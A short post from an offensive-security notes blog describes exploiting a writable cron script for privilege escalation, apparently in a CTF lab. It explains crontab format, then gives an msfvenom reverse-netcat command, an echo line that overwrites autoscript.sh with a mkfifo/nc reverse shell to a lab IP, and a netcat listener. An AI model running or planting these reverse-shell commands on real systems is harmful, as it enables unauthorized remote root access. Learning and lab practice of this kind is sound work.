boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Exploiting Crontab

To view active cron jobs, run cat /etc/crontab. Always run this whether or not linPEAS or LinEnum worked.

Format of a Cron Job

  1. # = ID
  2. m = minute
  3. h = hour
  4. dom = day of the month
  5. mon = month
  6. dow = day of the week
  7. user = what user the command runs as
  8. command = what command should be run

Example: # m h dom mon dow user command

Reads: 17 * 1 * * * root cd / && run-parts --report /etc/cron.hourly

To find files efficiently on Linux: find / -type f -name "filename.sh".

Exploiting a Writable Cron Script

Build the reverse shell payload. msfvenom payload command: msfvenom -p cmd/unix/reverse_netcat lhost=10.13.28.215 lport=1337 R

Inject it into autoscript.sh:

echo "mkfifo /tmp/hfhle; nc 10.13.28.215 1337 0</tmp/hfhle | /bin/sh >/tmp/hfhle 2>&1; rm /tmp/hfhle" > autoscript.sh

Start a netcat listener:

nc -lvnp 1337

SHELL